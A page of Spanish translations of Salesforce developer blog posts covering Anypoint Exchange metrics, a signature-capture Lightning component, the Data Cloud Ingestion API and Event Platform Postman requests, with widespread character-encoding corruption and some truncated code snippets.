Los usuarios con la funci贸n de administrador de Exchange pueden ver las m茅tricas de uso y compromiso de los fragmentos de especificaci贸n de API y las API de REST mediante el panel. Las m茅tricas de uso miden lo siguiente:

  • N煤mero de veces que se descarga un recurso de Exchange
  • # de importaciones desde API Designer
  • # de importaciones desde Anypoint Studio
  • # de dependientes
  • # de contratos

La puntuaci贸n de participaci贸n de activos es una m茅trica compuesta que se puede usar para medir el uso relativo de un activo en Exchange. El tablero muestra m茅tricas de hasta los 50 activos principales durante un per铆odo de los 煤ltimos 7 d铆as, 30 d铆as o 60 d铆as, clasificados por puntaje de participaci贸n. Puede filtrar los activos principales por fragmentos de especificaci贸n de API y tipos de API REST y por una o m谩s organizaciones.

El siguiente gr谩fico muestra el panel de m茅tricas de uso y participaci贸n:

Esta funci贸n permite a los usuarios con la funci贸n de administrador de Exchange tener una visi贸n hol铆stica del uso y consumo de activos en su organizaci贸n, proporcionando informaci贸n sobre la reutilizaci贸n de los activos y permiti茅ndoles impulsar a煤n m谩s las pr谩cticas eficientes.

M茅tricas para un activo y una versi贸n espec铆ficos

Esta nueva funci贸n tambi茅n le permite ver las m茅tricas de participaci贸n de un activo individual y/o una versi贸n espec铆fica. Puede hacerlo navegando a la p谩gina de detalles del activo de un activo compatible y seleccionando Compromiso de la versi贸n del activo en la barra lateral de navegaci贸n izquierda.

El siguiente gr谩fico muestra la p谩gina de detalles del activo con m茅tricas de uso y participaci贸n.

Recopilamos y analizamos una amplia gama de metadatos de activos (incluida la versi贸n y el estado del ciclo de vida, entre otros) y m茅tricas (incluida la contribuci贸n de participaci贸n, las descargas y las importaciones, entre otros). Consulte la documentaci贸n para obtener m谩s detalles y definiciones.

Esta vista puede ayudarlo a identificar las versiones de activos que tienen un alto uso general frente a las versiones con poco uso. Esta informaci贸n puede ayudarlo a comprender mejor el rendimiento y la adherencia de versiones de activos espec铆ficos dentro de su organizaci贸n, lo que lo ayuda a tomar decisiones m谩s informadas cuando se trata de reutilizar y hacer que el proceso de desarrollo sea m谩s eficiente.

Disponibilidad y soporte futuro

Hoy, esta nueva funci贸n est谩 disponible para usuarios con la funci贸n de administrador de Exchange y propietarios de activos con permiso de colaborador de Exchange . Adem谩s, los dos tipos de activos que se admiten actualmente son 1) API REST y 2) fragmentos de especificaciones de API. En el futuro, nos esforzaremos por admitir una gama m谩s amplia de tipos de activos disponibles en Exchange para brindarle una visi贸n m谩s hol铆stica del uso, la participaci贸n y la reutilizaci贸n dentro de su organizaci贸n.

Conclusi贸n

Esta nueva caracter铆stica de Anypoint Exchange cierra el ciclo de retroalimentaci贸n y proporciona nuevos conocimientos basados en datos sobre la participaci贸n y el uso de activos. Esta caracter铆stica ayudar谩 a los desarrolladores a comprender mejor c贸mo se utilizan sus activos, para que puedan impulsar mejoras en la documentaci贸n, el etiquetado de metadatos y m谩s. Los administradores pueden usar esta informaci贸n para identificar los principales activos adoptados e impulsar las mejores pr谩cticas en todo el cat谩logo, al mismo tiempo que comprenden mejor qu茅 tipos de activos son valiosos para los desarrolladores. Finalmente, Exchange planea usar estas m茅tricas para impulsar m谩s mejoras y experiencias de productos. 隆Siga las notas de la versi贸n para futuras iteraciones de esta caracter铆stica!

Sobre el Autor

Ria Joshi es Gerente de Producto en MuleSoft enfocada en Anypoint Exchange. En su funci贸n, se esfuerza por generar una cultura de producto basada en datos. Fuera del trabajo, Ria es una corredora de larga distancia y una 谩vida senderista.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Capture firmas electr贸nicas con componentes web Lightning en dispositivos m贸viles 鈽侊笍

Capture firmas electr贸nicas con componentes web Lightning en dispositivos m贸viles 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Capture firmas electr贸nicas con componentes web Lightning en dispositivos m贸viles | Blog de desarrolladores de Salesforce

驴Alguna vez ha necesitado recopilar una firma electr贸nica sobre la marcha? Tal vez necesite verificar un pago, asegurarse de que se procesen transacciones exitosas o incluso actualizar los registros despu茅s de que se haya completado un servicio. Una firma electr贸nica es 煤til como paso de verificaci贸n de muchas maneras. Permitir que los trabajadores de campo capturen firmas sobre la marcha es uno de los casos de uso m贸vil m谩s comunes que escuchamos de nuestros clientes. Por lo tanto, me complace compartir que hemos creado un componente web Lightning de muestra que le permite capturar firmas y adjuntarlas a un registro de Salesforce. Si bien creamos esto para casos de uso m贸vil, no hay nada que le impida usarlo tambi茅n en computadoras de escritorio con pantalla t谩ctil. Trabajar con el LWC de captura de firmas Veamos un ejemplo en acci贸n. Dreamhouse es una aplicaci贸n de muestra de bienes ra铆ces ficticia que se puede usar para web y dispositivos m贸viles. Los agentes de bienes ra铆ces, cuando est谩n en el proceso de cerrar un trato, deben poder capturar el nombre y la firma del comprador para asociarlos con la propiedad que se vendi贸. Para hacer esto, los desarrolladores de Dreamhouse pueden utilizar un nuevo componente LWC de muestra que hemos creado. 隆Vamos a sumergirnos en 茅l!

Configuraci贸n de la configuraci贸n de LWC

Para nuestro requisito Dreamhouse anterior, debemos poder recopilar el nombre y la informaci贸n de la firma del LWC. Esto se puede hacer a trav茅s de tres pasos.

  1. Configure su dise帽o HTML LWC
  2. Configura tus estilos LWC
  3. Conecte su interfaz con las API de JavaScript de LWC

隆Vamos a sumergirnos en m谩s detalles sobre los pasos!

1. Configure su dise帽o HTML de LWC

Para comenzar, vaya a la secci贸n NameAndSignatureCapture del directorio de muestra de LWC en GitHub. Luego, copie el componente signaturePad en la carpeta lwc de su proyecto. Despu茅s de copiar el c贸digo del componente de muestra, puede hacer referencia al componente escribiendo <c-signature-pad> y establecer sus atributos para configurarlo.

<dx-code-block title language="html" code-block="

“>

2. Configura tus estilos LWC

A continuaci贸n, los estilos de la interfaz tambi茅n se pueden ajustar para satisfacer sus necesidades. Para nuestra demostraci贸n de Dreamhouse, importemos una nueva familia de fuentes. Para hacer esto, simplemente configure los estilos para su componente LWC como se ve a continuaci贸n.

Tambi茅n puede personalizar el dise帽o del LWC a su gusto haciendo referencia a la clase adecuada y los atributos HTML.

3. Conecte su interfaz con las API de LWC

Por 煤ltimo, debemos asegurarnos de que la firma sea capturada correctamente por el LWC. A los efectos de nuestro ejemplo Dreamhouse, queremos poder guardar la firma proporcionada por el usuario final.

El SignaturePad LWC que proporcionamos se puede configurar para capturar datos y personalizar la interfaz a trav茅s de las API de JavaScript y sus atributos HTML correspondientes. Para hacer esto, simplemente invoque los m茅todos API y con茅ctelos a sus atributos HTML correspondientes en el <c-signature-pad> . Consulte la lista a continuaci贸n para el atributo HTML y las asignaciones de la API de JavaScript

Funcionalidad Descripci贸n Atributo HTML = "tipo" API de JavaScript (Tipo)
Habilitar firma de nombre Permite a los usuarios finales escribir su nombre y devuelve un texto para firmar generado autom谩ticamente a medida que los usuarios escriben su nombre. enable-name-signing=鈥漛ooleano鈥 enableNameSigning(booleano)
Habilitar dibujo de firma Le permite solicitar a los usuarios finales que dibujen su propia firma personalizada en el panel de firma proporcionado. habilitar-firma-dibujo = "booleano" enableSignatureDrawing (booleano)
Grosor de trazo caracter铆stico Personalice el grosor del trazo del l谩piz en las capturas de firma electr贸nica. trazo-grosor = "entero" grosor del trazo (entero)
Color de la pluma de firma Personalice el color de tinta del bol铆grafo que se proporciona al usuario final. bol铆grafo-color=鈥滳adena鈥 plumaColor(Cadena)
Color de la almohadilla de firma Personalice el color del pad de firma que ve el usuario final. pad-color=鈥滳adena鈥 padColor(Cadena)
Color de fuente de la firma Personaliza la fuente de la firma. fuente-color = "Cadena" font.color=Cadena
Configuraci贸n de una etiqueta de campo de entrada Establezca una etiqueta para el nombre del campo de entrada. nombre-entrada-etiqueta=鈥滳adena鈥 nombreInputLabel=鈥滳adena鈥
Configuraci贸n de una etiqueta de almohadilla Establezca un nombre para la etiqueta sobre el panel de firma. nombre-entrada-etiqueta=鈥滳adena鈥 nombreInputLabel=鈥滳adena鈥
Guardar firma Permite guardar una firma autogenerada y/o personalizada. onclick={guardar firma} pad.getSignature()
Firma clara Permite eliminar la firma anterior si es necesario volver a hacerlo. onclick={clarar Firma} pad.clearSignature()

Tenga en cuenta que tambi茅n agregamos un m茅todo clearSignature y saveSignature para permitir borrar y guardar firmas respectivamente. Puede hacer esto configurando sus propios m茅todos de JavaScript que se conectan a pad.setSignature() y pad.clearSignature() . Estos se pueden conectar a los componentes <lightning-button> . Veamos un ejemplo de esto a continuaci贸n.

Ahora que tenemos los m茅todos de JavaScript identificados, veamos algunos de ellos en acci贸n. Esto se puede hacer usando el siguiente JavaScript.

{ if (font.family === "Great Vibes" && font.status === "unloaded") { // Ensure that the font is loaded so that signature pad could use it. // If you are using a different font in your project, don’t forget // to update the if-condition above to account for it. font.load(); } }); } saveSignature() { const pad = this.template.querySelector("c-signature-pad"); if (pad) { const dataURL = pad.getSignature(); if (dataURL) { // At this point you can consume the signature, for example by saving // it to disk or uploading it to a Salesforce org/record. // Here we just preview it in an image tag. this.imgSrc = dataURL; } } } clearSignature() { const pad = this.template.querySelector("c-signature-pad"); if (pad) { pad.clearSignature(); } this.imgSrc = null; }
} “>

Tenga en cuenta que agregamos un m茅todo clearSignature que se invoca cuando se hace clic en el bot贸n Borrar, as铆 como un m茅todo saveSignature que se invoca cuando se hace clic en el bot贸n Guardar.

Algo a destacar sobre el componente es que responde completamente a los cambios de tama帽o y orientaci贸n. Tambi茅n tenga en cuenta que el componente de captura de firmas ha sido dise帽ado para funcionar en la web, el panel t谩ctil o el l谩piz para dispositivos m贸viles o tabletas.

Adem谩s, Signature Capture LWC es compatible con la web y los dispositivos m贸viles y es la solicitud m谩s com煤n utilizada en la aplicaci贸n m贸vil Salesforce , as铆 como en nuestra aplicaci贸n Mobile Test Harness . Eche un vistazo a la demostraci贸n a continuaci贸n para ver c贸mo se ejecuta en acci贸n.

Conclusi贸n

Esperamos que haya disfrutado de esta publicaci贸n de blog y que est茅 ansioso por usar las capacidades de captura de firma en su LWC para dispositivos m贸viles. Para empezar:

  • 隆Buceo en! Consulte nuestro repositorio GitHub de ejemplos m贸viles de LWC para ver y probar los ejemplos de LWC de las capacidades de captura de firmas en acci贸n. Luego, una vez que est茅 familiarizado con los flujos…
  • 隆Personal铆zalo! Tome las muestras de Signature Capture LWC y ampl铆elas para personalizarlas seg煤n las necesidades de su negocio.
  • 隆Alcanzar! Si tiene alguna pregunta, comentario o idea, puede conectarse con nosotros en nuestra comunidad Salesforce Mobile Trailblazer .

Para obtener m谩s informaci贸n sobre nuestras ofertas m贸viles, consulte los siguientes enlaces:

Sobre el Autor


Ashwin Nair es un Product Manager en Salesforce que se enfoca en Salesforce Mobile. Actualmente est谩 trabajando en Mobile Platform Experiences y ha estado en el espacio de desarrollo web y m贸vil durante m谩s de siete a帽os. S铆guelo en LinkedIn .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cargue datos mediante programaci贸n con la API de ingesta | Blog de desarrolladores de Salesforce

Salesforce Data Cloud ofrece varios conectores predefinidos para la importaci贸n de datos. Estos le permiten conectar otra organizaci贸n de Salesforce, una instancia de Marketing Cloud, almacenamientos de datos como Amazon S3 o cualquier otra fuente admitida por MuleSoft Salesforce Data Cloud Connector . Para conectarse a un sistema de terceros, puede utilizar la API de ingesta .

La API de ingesta es una interfaz RESTful que facilita la carga de datos mediante programaci贸n en Data Cloud. Admite patrones de interacci贸n masiva y de transmisi贸n. El patr贸n de transmisi贸n usa JSON como su formato, cargando datos en micro lotes a trav茅s de la API REST. El patr贸n masivo, por otro lado, emplea el formato CSV y carga datos usando trabajos.

En esta publicaci贸n de blog, analizaremos c贸mo configurar el conector de la API de ingesta y comenzar a cargar datos mediante programaci贸n utilizando los patrones Streaming y Bulk.

Cu谩ndo usar la ingesti贸n Streaming vs Bulk

Ingesti贸n de transmisi贸n Ingesti贸n a granel
Al actualizar peque帽os microlotes de registros casi en tiempo real Al mover grandes vol煤menes de datos en un programa diario, semanal o mensual
Cuando se utilizan sistemas de origen de datos que se basan en arquitecturas de transmisi贸n modernas Al usar sistemas heredados, donde solo puede exportar datos durante las horas de menor actividad
Al crear eventos de captura de datos modificados Al usar una nueva organizaci贸n de Data Cloud que desea rellenar con 30, 60 o m谩s de 90 d铆as de datos
Al consumir datos de webhooks

Para configurar la API de ingesta, deber谩 seguir cuatro pasos de requisitos previos:

  • Crear un conector de API de ingesta
  • Crear e implementar un flujo de datos
  • Crear una aplicaci贸n conectada
  • Solicitar un token de acceso a la nube de datos

Veamos el proceso de creaci贸n y configuraci贸n de un conector de ingesta para comenzar a cargar datos en Data Cloud.

Creaci贸n de un conector de API de ingesta

Supongamos que tiene acceso a Data Cloud. Para conectar una nueva fuente de API de ingesta mediante el conector de API de ingesta, vaya a Configuraci贸n de nube de datos y seleccione API de ingesta .

Aqu铆 encontrar谩 todos los conectores disponibles en su organizaci贸n. Para crear uno nuevo, haga clic en Conectar y proporcione un nombre. Para nuestra aplicaci贸n de muestra, trabajaremos con una empresa de energ铆a solar ficticia. Estamos interesados en recibir eventos de m茅tricas relacionadas con el rendimiento energ茅tico de sus paneles solares.

Una vez que se haya creado el conector, necesitaremos decirle a Data Cloud qu茅 tipo de datos estamos esperando. Para esto, necesitaremos cargar un archivo de esquema utilizando la especificaci贸n OpenAPI. Este archivo de esquema tiene requisitos espec铆ficos, as铆 que aseg煤rese de consultar la documentaci贸n para obtener m谩s informaci贸n.

A continuaci贸n se muestra un ejemplo del archivo de esquema que cargaremos, que representa un solar_panel_event . Los campos clave a tener en cuenta incluyen event_id , que ser谩 煤nico para cada evento y luego se asignar谩 en Data Cloud como clave principal. Otro es customer_id , que nos ser谩 煤til para mapear el evento con un cliente de nuestra organizaci贸n. Finalmente, date_time representa la hora del evento.

panel_solar_event.yaml

Una vez que carguemos el esquema, podremos obtener una vista previa de sus campos y tipos de datos, y luego guardarlo en nuestro conector.

Ahora que nuestro conector tiene un esquema, podemos decir que est谩 creado. Sin embargo, a煤n no est谩 listo para comenzar a recibir datos. Necesitamos crear un flujo de datos para este prop贸sito.

Nota: Dado que los esquemas pueden evolucionar con el tiempo, tambi茅n puede usar la interfaz del conector de la API de ingesta para actualizar el esquema y agregar nuevos campos a su objeto de datos seg煤n sea necesario.

Creaci贸n e implementaci贸n de un flujo de datos

Ya tenemos listo nuestro conector API de ingesta. Ahora es el momento de establecer una conexi贸n para comenzar a importar datos. Para eso, necesitamos crear un flujo de datos . Una vez que el flujo de datos est谩 activo, podemos comenzar a ingerir datos en Data Cloud y almacenarlos como un objeto de Data Lake.

Para crear un nuevo flujo de datos, vaya a su pesta帽a en la aplicaci贸n Data Cloud, haga clic en Nuevo , seleccione Ingestion API y luego haga clic en Siguiente .

Nota: La opci贸n API de ingesta est谩 deshabilitada si no tiene ninguna fuente de ingesta conectada.

A continuaci贸n, ver谩 los diferentes objetos que est谩n asociados con su esquema. En nuestro caso, seleccione el objeto solar_panel_event y haga clic en Siguiente .

Al crear un flujo de datos, deber谩 seleccionar una categor铆a o tipo de datos en ese flujo de datos. Hay tres categor铆as: Compromiso , Perfil y Otro .

Compromiso Un conjunto de datos que representa un compromiso basado en series de tiempo, como un evento, interacci贸n con el cliente, interacci贸n web, etc.

Cuando se selecciona, el men煤 desplegable Campo de hora del evento aparece en la interfaz de usuario.

Perfil Un conjunto de datos que representa:

鈥 Una lista de consumidores con identificadores, como identificaciones de consumidores, direcciones de correo electr贸nico o n煤meros de tel茅fono

鈥 Una lista de empresas o cuentas con ID de cuenta

鈥 Una lista de empleados o cualquier otra poblaci贸n por la que desee segmentar o utilizar como poblaci贸n inicial del segmento

Otro Un conjunto de datos que no es un compromiso o un perfil, como informaci贸n de productos o tiendas.

Para nuestro ejemplo, dado que estamos planeando recibir eventos, seleccionaremos Compromiso . Mapearemos el event_id como la clave principal y la date_time como el campo de hora del evento.

Ahora que nuestros datos est谩n configurados, es hora de implementarlos. Despu茅s de revisar los flujos de datos que se van a crear, hagamos clic en Implementar para activarlos.

Ahora, echemos un vistazo a la p谩gina de detalles del flujo de datos. Aqu铆 podemos ver el objeto Data Lake que se ha creado en Data Cloud. Puede identificar un objeto de Data Lake por su sufijo __dll . Desde esta misma interfaz, puede comenzar a asignar sus datos a los objetos de su organizaci贸n para crear objetos de modelo de datos (parte del proceso de armonizaci贸n de Data Cloud). Sin embargo, no cubriremos ese tema en esta publicaci贸n de blog, pero tenemos un excelente video con Danielle Larregui que le muestra c贸mo hacerlo.

Nuestro conector API de ingesta est谩 listo para comenzar a recibir datos de sistemas de terceros. Para confirmar, regresemos a la interfaz de configuraci贸n de la API de ingesta, donde puede ver que el estado del conector es En uso .

Creaci贸n de una aplicaci贸n conectada

La API de ingesta admite todos los flujos de OAuth 2.0 admitidos por otras API REST de Salesforce. Para cargar datos mediante la API de ingesta, su aplicaci贸n conectada requiere los siguientes 谩mbitos:

脕mbitos de OAuth requeridos

cdp_ingest_api Acceda y administre sus datos de API de ingesta de nube de datos
API Accede y administra tus datos
refresco_token, acceso_sin conexi贸n Realizar solicitudes en su nombre en cualquier momento

Adem谩s, nuestra aplicaci贸n conectada requerir谩 un certificado digital. Para crear uno, puede ejecutar el siguiente comando usando el comando openssl :

Este comando crear谩 dos archivos, salesforce.key , que es la clave privada, y salesforce.crt , que es la clave p煤blica.

Nota : si no tiene instalado el comando openssl , puede instalarlo desde el sitio web de OpenSSL .

Para saber c贸mo crear una aplicaci贸n conectada, consulte la documentaci贸n oficial.

Solicitud de un token de acceso a la nube de datos

Para este ejemplo, usaremos el flujo de soporte JWT de OAuth 2.0 . Primero, necesitaremos crear un JWT (JSON Web Token) para solicitar un token de acceso.

Para crear un JWT, configurar谩 el encabezado para usar el algoritmo RSA256 .

Encabezado JWT

Luego, configure las siguientes notificaciones, teniendo en cuenta algunas notificaciones importantes:

  • iss: la clave de consumidor de OAuth/ID de cliente de su aplicaci贸n conectada
  • sub: el nombre de usuario de su organizaci贸n de Data Cloud
  • exp: el tiempo de vencimiento del token, expresado como una marca de tiempo de 茅poca

reclamos JWT

Nota : La 茅poca de Unix (o la hora de Unix o la hora POSIX o la marca de tiempo de Unix) es la cantidad de segundos que han transcurrido desde el 1 de enero de 1970 (medianoche UTC/GMT).

A continuaci贸n, deber谩 utilizar el algoritmo JWT para obtener el token completo y verificado.

Pero seamos honestos, no queremos crear un JWT manualmente. Para esto, utilizaremos el sitio web JWT.io para simplificar el proceso. Aseg煤rese de que el mensaje Firma verificada aparezca a continuaci贸n, lo que indica que nuestro JWT es v谩lido.

O puede crearlo program谩ticamente usando el lenguaje de programaci贸n de su elecci贸n. M谩s adelante en este art铆culo, compartir茅 un pr谩ctico script de Node.js para generar el token de acceso a la nube de datos.

Antes de que podamos autenticarnos usando el JWT que generamos, debemos aprobar este consumidor. Puede hacerlo abriendo la siguiente URL en su navegador.

<dx-code-block title language code-block="https://login.salesforce.com/services/oauth2/authorize?response_type=token&client_id=&redirect_uri=”>

Y luego, inicie sesi贸n y permita el acceso:

Ahora que hemos aprobado nuestro JWT, necesitamos autenticarnos. Este es un proceso de dos pasos. Primero, necesitamos obtener un token de acceso usando el JWT. Para hacer esto, realicemos una solicitud POST HTTP con la siguiente informaci贸n.

<dx-code-block title language code-block="POST https://login.salesforce.com/services/oauth2/token
Content-Type : x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
&assertion=”>

Nota: aseg煤rese de reemplazar <JWT> con el token que creamos anteriormente.

Esta solicitud nos dar谩 un token de acceso central y la URL de la instancia de Data Cloud, utilizando nuestra aplicaci贸n conectada. Como se muestra en el alcance , se nos otorgan los alcances cdp_ingest_api y api .

A continuaci贸n, debemos cambiar el token de acceso principal por un token de nube de datos. Para hacer eso, realicemos la siguiente solicitud POST.

<dx-code-block title language code-block="POST /services/a360/token Content-Type : x-www-form-urlencoded grant_type=urn:salesforce:grant-type:external:cdp &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:access_token”>

Ahora, estamos autenticados. El token de acceso a la nube de datos resultante es lo que usaremos para realizar solicitudes a la API de ingesta.

Para simplificar el proceso, he creado un script Node.js. Crea el JWT y realiza la autenticaci贸n en dos pasos. Para usarlo, necesitar谩 la clave privada que cre贸 anteriormente, as铆 como un archivo de configuraci贸n similar al siguiente.

config.js

Adem谩s, instale la dependencia jsonwebtoken desde npm ejecutando:

credenciales.js

console.log(auth)) .catch((err) => console.error(err)); “>

El m茅todo generateAccessToken devolver谩 el objeto de autenticaci贸n de Data Cloud, incluido el access_token y la instance_url necesarios para comenzar a ingerir datos en Data Cloud.

Ingesta de datos

Tenemos toda la informaci贸n necesaria para comenzar a ingerir datos en la nube de datos. Esto se puede lograr utilizando los patrones Streaming o Bulk.

Transmisi贸n

Para comenzar a transmitir datos en el conector de Ingesti贸n de nube de datos, primero obtenga el nombre del conector y el nombre del objeto de la configuraci贸n del conector de la API de Ingesti贸n. Para hacer esto, puede realizar una solicitud POST como la siguiente.

<dx-code-block title language code-block="POST https:///api/v1/ingest/sources/Solar_Panel_Events/solar_panel_event
Authorization: Bearer
Content-Type: application/json
{ "data": [ {"event_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479","customer_id": "003R00000123456789","battery": 75.2,"dc_current": 9.8,"dc_voltage": 35.6,"mpp_energy": 120.5,"ac_voltage": 220.1,"ac_current": 5.3,"date_time": "2023-07-07T10:15:30.05Z"} ] }”>

Nota : aseg煤rese de reemplazar <token de acceso a la nube de datos> y <url de instancia> con los valores respectivos que obtuvo del proceso de autenticaci贸n.

Si todo va bien, recibir谩s la siguiente respuesta:

Esto indica que nuestros datos han sido aceptados con 茅xito.

Nota : tambi茅n puede validar los datos con el esquema antes de enviarlos agregando /actions/test al punto final de la API.

A granel

La ingesti贸n masiva implica varios pasos, lo que agrega un nivel de complejidad al proceso:

  • Crear un trabajo: este paso implica crear un trabajo para especificar el tipo de objeto de los datos que se procesan y la operaci贸n que se realizar谩, que puede ser upsert o delete.
  • Cargar los datos en CSV: Despu茅s de crear el trabajo, el siguiente paso es cargar los datos en formato CSV. El archivo CSV debe contener los datos que se procesar谩n, con cada fila representando un registro y las columnas que contienen los valores de campo.
  • Indicar la preparaci贸n de los datos: una vez que se cargan los datos, deber谩 indicar que los datos est谩n listos para ser procesados.
  • Cerrar o cancelar el trabajo: despu茅s de procesar los datos, puede cerrar el trabajo para marcarlo como completado o cancelar el trabajo si es necesario.

Para obtener m谩s informaci贸n sobre c贸mo usar los puntos de conexi贸n masivos, puede consultar la documentaci贸n oficial .

Puede consultar los datos entrantes utilizando el Explorador de datos en Data Cloud. All铆, seleccionar谩 el objeto Data Lake correspondiente al conector de ingesta que cre贸 anteriormente.

Si desea probarlo usted mismo, siempre puede utilizar nuestra colecci贸n Postman de desarrolladores de Salesforce, que incluye las API de Salesforce Data Cloud .

Conclusi贸n

Ahora, est谩 listo para comenzar a cargar datos mediante programaci贸n en Data Cloud mediante la API de ingesta. Siguiendo los pasos anteriores, puede conectarse sin problemas a varias fuentes de datos e importar datos en tiempo real o en masa, y comenzar a aprovechar el poder y la magia de Salesforce Data Cloud.

Adem谩s, si prefiere aprender de un video, mi colega Aditya ha creado un video 煤til que explica lo que hemos cubierto en esta publicaci贸n de blog . Aseg煤rese de ver tambi茅n los otros excelentes videos de la serie Data Cloud Decoded .

Recursos

Sobre los autores

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo @julianduque en Threads, @julian_duque en Twitter, @julianduque.co en Bluesky social o LinkedIn .

Aditya Naag Topalli es una defensora de desarrolladores l铆der certificada 14 veces en Salesforce. Capacita e inspira a los desarrolladores dentro y fuera del ecosistema de Salesforce a trav茅s de sus videos, seminarios web, publicaciones de blog y contribuciones de c贸digo abierto, y tambi茅n habla con frecuencia en conferencias y eventos en todo el mundo. S铆galo en Twitter o LinkedIn y vea sus contribuciones en GitHub .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Explore la API de la plataforma de eventos con la colecci贸n de cartero extendida 鈽侊笍

Explore la API de la plataforma de eventos con la colecci贸n de cartero extendida 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Explore la API de la plataforma de eventos con la colecci贸n extendida de Postman | Blog de desarrolladores de Salesforce

Para una gran cantidad de nuestros clientes, la plataforma Salesforce sirve como la piedra angular de sus sistemas de informaci贸n y, por lo tanto, debe integrarse perfectamente con una amplia gama de sistemas de terceros. Entre las muchas opciones de integraci贸n disponibles se encuentra la plataforma de eventos de Salesforce.

En esta publicaci贸n, repasaremos brevemente la plataforma de eventos y luego exploraremos la nueva plataforma de eventos y las solicitudes de API que se agregaron a la colecci贸n de API de la plataforma de Salesforce en Postman. Tambi茅n aprender谩 c贸mo introdujimos la capacidad de configurar Event Relays y canales personalizados con Postman.

Acerca de la plataforma de eventos de Salesforce

Event Platform consta de diferentes funciones que le permiten crear arquitecturas basadas en eventos gracias a Salesforce Event Bus.

Tipos de eventos

El bus de eventos de Salesforce admite dos tipos principales de eventos casi en tiempo real: eventos de plataforma y eventos de cambio.

Los eventos de la Plataforma permiten la comunicaci贸n dentro de la Plataforma y con sistemas externos. Estos eventos se pueden enviar y recibir con c贸digo personalizado o herramientas declarativas, como Flow. Hay eventos de plataforma est谩ndar con campos predefinidos y eventos personalizados que puede crear con campos personalizados.

Los eventos de cambio son enviados autom谩ticamente por la Plataforma cada vez que se crea, modifica, elimina o recupera un registro. Cada evento de cambio est谩 vinculado a un objeto de Salesforce est谩ndar o personalizado, y los campos de evento coinciden con los de su objeto principal.

Los eventos de plataforma y los eventos de cambio se pueden enviar y recibir gracias a una selecci贸n de dos tecnolog铆as de transmisi贸n: la biblioteca CometD heredada o la API Pub/Sub basada en gRCP m谩s moderna . Independientemente de la tecnolog铆a o el tipo de evento, publica o se suscribe a eventos a trav茅s de canales dedicados.

Canales personalizados

Puede definir un canal personalizado para agrupar mensajes de eventos del mismo tipo (eventos de plataforma o eventos de cambio) en una transmisi贸n. Por ejemplo, puede combinar eventos de cambio de cuenta, contacto y pedido en un solo canal personalizado CustomerUpdates__chn . Despu茅s de suscribirse a este canal, recibir谩 notificaciones sobre cambios en cualquiera de esos tres objetos.

Tenga en cuenta que los canales personalizados son compatibles con eventos de plataforma personalizados, pero no con eventos de plataforma est谩ndar.

Adem谩s de la capacidad de agrupar varios eventos, los canales personalizados desbloquean dos funciones: filtrado de eventos y cambio de enriquecimiento de eventos.

El filtrado de eventos le permite configurar expresiones que filtran los eventos que se env铆an en un canal personalizado. Por ejemplo, podr铆a crear un canal espec铆fico como UkLargeCustomerUpdates__chn que filtra las actualizaciones de la cuenta, donde el pa铆s de facturaci贸n es el Reino Unido y los ingresos anuales superan los 500k. El uso del filtrado de eventos ayuda a simplificar el c贸digo del lado del cliente, pero tambi茅n ayuda a evitar los l铆mites m谩ximos de suscriptores simult谩neos .

Los canales personalizados de Change Data Capture tambi茅n otorgan la capacidad de declarar campos enriquecidos . Cuando se trabaja con eventos de cambio, solo se pasan los valores de campo actualizados en los datos del evento. Esta optimizaci贸n puede ser problem谩tica en ciertas situaciones, por ejemplo, cuando desea sincronizar con un sistema de terceros con una ID externa. En este caso, el ID externo no cambia, por lo que nunca forma parte de los datos del evento de cambio. Afortunadamente, el enriquecimiento de campos le permite declarar un canal personalizado en el que puede especificar campos que siempre se pasar谩n en el contexto de eventos de cambio.

Relevo de eventos

Event Relay le permite integrar perfectamente los eventos en tiempo real de Salesforce con Amazon Web Services (AWS). Gracias a Event Relay, los eventos de la plataforma y los eventos de Change Data Capture se env铆an a Amazon EventBridge a trav茅s de canales y los componentes de AWS pueden consumirlos directamente. Los componentes de AWS tambi茅n pueden publicar eventos de plataforma de forma nativa.

Consulte esta publicaci贸n de Event Relay para obtener m谩s informaci贸n.

Antes del lanzamiento de Summer '23, Event Relay solo se pod铆a configurar a trav茅s de las API. Ahora, hay una interfaz de usuario dedicada en Configuraci贸n. La 煤nica pieza que a煤n necesita crear a trav茅s de la API de herramientas o la API de metadatos son los canales personalizados.

Actualizaciones de Salesforce Event Platform para la colecci贸n Postman

En junio, actualizamos la colecci贸n de API de Salesforce Platform para Postman para incluir solicitudes para interactuar con Event Platform . Si no est谩 familiarizado con Postman o la colecci贸n de API de plataforma, eche un vistazo al proyecto Quick Start: Connect Postman to Salesforce Trailhead para comenzar.

Canales personalizados

Nuestras nuevas solicitudes de Postman son un gran ahorro de tiempo ya que, a partir del lanzamiento de Summer '23, los canales personalizados solo se pueden configurar a trav茅s de metadatos o llamadas a la API de herramientas y no se pueden modificar directamente en la configuraci贸n de Salesforce.

